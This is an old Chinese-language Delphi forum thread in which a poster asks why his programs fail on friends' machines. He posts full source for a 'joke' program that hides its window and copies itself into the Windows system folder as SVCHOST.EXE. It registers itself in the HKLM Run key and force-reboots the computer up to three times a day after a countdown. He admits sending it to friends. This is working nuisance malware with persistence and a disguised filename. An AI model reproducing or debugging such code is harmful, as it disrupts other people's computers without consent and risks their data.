CSDN首页 空间 新闻 论坛 Blog 下载 读书 网摘 搜索 .NET Java 视频 接项目 求职 在线学习 买书 程序员 通知
英特尔®游戏设计大赛100美元现金周周送 专题改版:Java Web 专题
CSDN社区
搜索 收藏 打印 关闭
CSDN社区 >  Delphi >  VCL组件开发及应用

各位大侠!救命啊!程序的简单怪问题!!!

楼主cuiang(天外化石)2003-11-04 00:17:25 在 Delphi / VCL组件开发及应用 提问

我编了一个在特定情况下重新启动机器的程序  
  该程序为系统一启动就加载(修改注册表),并可以自我复制到特定的目录里  
   
  还有一个程序是删除上面那个程序的  
  程序是得到硬盘的序列号,然后判断密码是否正确,便删除文件和删除注册表中上面哪个程序的启动建值  
   
  这两个程序在我这里没出一点问题,但我发给其他没有安装DELPHI的朋友时,那个重启机器的就不能自我复制了,那个删除程序跟本就不能运行,但这两个程序发给一个有装DELPHI的朋友,他就能正常的运行  
   
  请问DELPHI是不是和VB一样要带些什么库文件的啊?请高手指点指点!!  
   
  问题点数:20、回复次数:10Top

1 楼boby(......)回复于 2003-11-04 06:58:38 得分 5

你选择了什么样的编译方式,是否选择了build   with   runtime   packagesTop

2 楼Mrkang(谁比我菜我不愿意)回复于 2003-11-04 08:14:16 得分 5

搂主好厉害,能否给我一份源代码阿,谢谢,!!kbfmail@sina.comTop

3 楼kejian(御剑飞仙)回复于 2003-11-04 10:00:03 得分 5

我知道了,你朋友的操作系统是NT系列的是吧?  
   
  也许是她系统权限不足!!  
   
  那就改不了注册表之类的了.Top

4 楼cuiang(天外化石)回复于 2003-11-04 11:40:15 得分 0

楼上的大侠,可以的,注册表就改了,就是复制不了文件  
  第2个连运行都运行不了Top

5 楼cuiang(天外化石)回复于 2003-11-04 11:43:22 得分 0

你选择了什么样的编译方式,是否选择了build   with   runtime   packages  
   
  对不起!我太菜了!请问什么叫build   with   runtime   packages啊?  
  在那里有得选择啊?Top

6 楼cuiang(天外化石)回复于 2003-11-04 11:47:22 得分 0

重启计算机的代码:  
   
  unit   Unit1;  
   
  interface  
   
  uses  
      Windows,   Messages,   SysUtils,   Variants,   Classes,   Graphics,   Controls,   Forms,  
      Dialogs,   StdCtrls,   ExtCtrls,registry,regstr,   ImgList;  
   
  type  
      TForm1   =   class(TForm)  
          Timer1:   TTimer;  
          Timer2:   TTimer;  
          Edit1:   TEdit;  
          Edit2:   TEdit;  
          Edit3:   TEdit;  
          Button1:   TButton;  
          Button2:   TButton;  
          Edit4:   TEdit;  
          ImageList1:   TImageList;  
          procedure   Timer1Timer(Sender:   TObject);  
          procedure   Timer2Timer(Sender:   TObject);  
          procedure   FormCreate(Sender:   TObject);  
          procedure   Button1Click(Sender:   TObject);  
          procedure   Button2Click(Sender:   TObject);  
   
      private  
          {   Private   declarations   }  
      public  
          {   Public   declarations   }  
      end;  
   
  var  
      Form1:   TForm1;  
      time:integer;  
      registertemp:tregistry;  
  implementation  
   
  {$R   *.dfm}  
   
   
  //自定义重启函数  
  function   My_ExitWindows(M_1Reboot_2Power:   integer):   Boolean;   //重启(M:=1).关机(M:=2)  
  var  
  hToken:   THANDLE;  
  hProc:   THANDLE;  
  mLUID:   TLargeInteger;  
  mPriv,   mNewPriv:   TOKEN_PRIVILEGES;  
  mBufferLength:   DWord;  
  begin  
  Result:=false;  
  if   not   (M_1Reboot_2Power   in   [1,   2])   then   exit;  
  hProc   :=   GetCurrentProcess();  
  OpenProcessToken(hProc,   TOKEN_ADJUST_PRIVILEGES   +   TOKEN_QUERY,   hToken);  
  LookupPrivilegeValue('',   'SeShutdownPrivilege',   mLUID);  
  mPriv.PrivilegeCount   :=   1;  
  mPriv.Privileges[0].Attributes   :=   SE_PRIVILEGE_ENABLED;  
  mPriv.Privileges[0].Luid   :=   mLUID;  
  AdjustTokenPrivileges(hToken,   False,   mPriv,   (4   +   (12   *   mPriv.PrivilegeCount)),   mNewPriv,   mBufferLength);  
  GetLastError;  
  case   M_1Reboot_2Power   of  
  1:   Result   :=   ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//重起  
  2:   Result   :=   ExitWindowsEx(EWX_FORCE+EWX_POWEROFF,   0);//关机  
  end;  
  end;  
  //====================  
   
  procedure   TForm1.Timer1Timer(Sender:   TObject);  
  begin  
  self.Hide;   //隐藏窗口  
  timer1.Enabled   :=false;  
  end;  
   
  procedure   TForm1.Timer2Timer(Sender:   TObject);//重启计时  
  begin  
      time:=time-1;  
      if   time   mod   10=0   then  
      begin  
          if   time=0   then  
          begin  
              timer2.Enabled   :=false;  
   
              my_exitwindows(1);//1重起2关机//调用重启函数  
   
              messagedlg('正在重新启动您的计算机!',mtwarning,[mbok],0);  
          end  
          else  
              begin  
                  messagedlg('离重新启动您的计算机还有'   +   inttostr(time)   +   '秒,请你保存好你正在运行的程序,以免掉失数据。程序每日只会重新启动3次。本程序纯属为你开个玩笑,并不会破坏和盗取你计算机上的任何文件,如果你觉得这个程序妨碍你的工作,请与QQ:13913966联系!',mtwarning,[mbok],0);  
              end;  
          end;  
      edit1.Text   :=inttostr(time);  
  end;  
   
  procedure   TForm1.FormCreate(Sender:   TObject);  
  var  
      myday,myrun:string;  
   
  begin  
  edit4.Text:=DateToStr(Date);   //取出当前日期  
  myday:=edit4.Text;//把当前日期付给myday  
   
  time:=61;//设定启动时间  
  //自我复制文件  
  copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);  
   
  //写入注册表  
  registertemp:=tregistry.create;//准备使用注册表  
      with   registertemp   do  
      begin  
          registertemp.rootkey:=hkey_local_machine;//存放在此根下  
          registertemp.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);  
          registertemp.WriteString('SVCHOST','c:\windows\system32\wins\SVCHOST.EXE');  
          registertemp.CloseKey   ;   //关闭注册表  
          registertemp.free;//结束使用注册表  
      end;  
  //===========================================  
  registertemp:=tregistry.create;//准备使用注册表  
      with   registertemp   do  
      begin  
          registertemp.rootkey:=hkey_local_machine;  
          registertemp.OpenKey('SOFTWARE\retime',true);  
   
          if   registertemp.ReadString('retime')   =''   then//如果retime还没有  
              registertemp.WriteString('retime','3');//就新建一个,并且付值为3  
   
          myrun:=registertemp.ReadString('day');//读出DAY付给myrun  
          if   registertemp.ReadString('day')=''   then//检查myrun是否存在  
          begin  
              //showmessage('DAY不存在');  
              if   registertemp.ReadString('retime')='3'   then//3次都未执行  
              begin  
                  registertemp.WriteString('retime','2');   //改为2次  
                  timer2.Enabled:=true;//打开计时  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end  
              else   if   registertemp.ReadString('retime')='2'then  
              begin  
                  registertemp.WriteString('retime','1');  
                  timer2.Enabled   :=true;  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end  
              else   if   registertemp.ReadString('retime')='1'   then  
              begin  
                  registertemp.WriteString('retime','3');//重新定为3次  
                  registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它  
                  timer2.Enabled   :=true;  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end;  
          end  
          else   if   myrun<>myday   then//如果注册表所记录日期不等于当前日期个话:  
          begin  
              if   registertemp.ReadString('retime')='3'   then//3次都未执行  
              begin  
                  registertemp.WriteString('retime','2');   //改为2次  
                  timer2.Enabled:=true;//打开计时  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end  
              else   if   registertemp.ReadString('retime')='2'then  
              begin  
                  registertemp.WriteString('retime','1');  
                  timer2.Enabled   :=true;  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end  
              else   if   registertemp.ReadString('retime')='1'   then  
              begin  
                  registertemp.WriteString('retime','3');//重新定为3次  
                  registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它  
                  timer2.Enabled   :=true;  
                  registertemp.CloseKey   ;   //关闭注册表  
                  registertemp.free;//结束使用注册表  
              end;  
          end  
          //else   if   myrun=myday   then//如果当前日期相同  
              //application.Terminate;   //终止程序  
      end;  
  end;  
   
   
  procedure   TForm1.Button1Click(Sender:   TObject);  
  begin  
  copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);  
  end;  
   
  procedure   TForm1.Button2Click(Sender:   TObject);  
  begin  
      deletefile('c:\windows\system32\wins\SVCHOST.exe');  
  end;  
   
  end.  
   
   
  高手请指点!!!Top

7 楼boby(......)回复于 2003-11-04 15:54:46 得分 5

在project   option   菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用Top

8 楼steventone(心兰)回复于 2003-11-04 16:38:44 得分 0

upTop

9 楼cuiang(天外化石)回复于 2003-11-04 22:49:36 得分 0

你选择了什么样的编译方式,是否选择了build   with   runtime   packages  
  在project   option   菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用  
   
  大侠!不见有这个选项啊,我用的是Delphi7啊,能不能详细说说,我用DELPHI才1个星期左右啊,还很菜啊!千万不要见怪!Top

10 楼cuiang(天外化石)回复于 2003-11-05 16:19:12 得分 0

upTop

相关问题

  • 我想做一个最简单的(对我来说很复杂)的程序窗口程序.请各位帮忙.
  • 一个非常简单的程序,各位大哥大姐帮我看看!!!
  • 各位大哥,帮我调一个极其简单的汇编程序
  • java简单程序不能运行的问题。请各位指点迷津。
  • 各位帮我看一下这个程序,很简单的。谢谢!
  • 各位好,下面是一个最简单的程序,可出错了!
  • 一个简单的仓库管理程序,请各位帮忙找下错误
  • 一个简单的小汇编程序,还请各位多多指教!
  • 简单小程序!
  • 求简单程序!

关键词

  • 编译
  • 文件
  • 选项
  • 选择
  • runtime
  • registertemp
  • 注册表
  • retime
  • 程序
  • 大侠

得分解答快速导航

  • 帖主:cuiang
  • boby
  • Mrkang
  • kejian
  • boby

相关链接

  • Delphi类图书
  • Delphi类源码下载
  • Delphi控件下载

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
世纪乐知(北京)网络技术有限公司 版权所有, 京 ICP 证 020026 号
北京创新乐知广告有限公司 提供技术支持
Copyright © 2000-2007, CSDN.NET, All Rights Reserved
GongshangLogo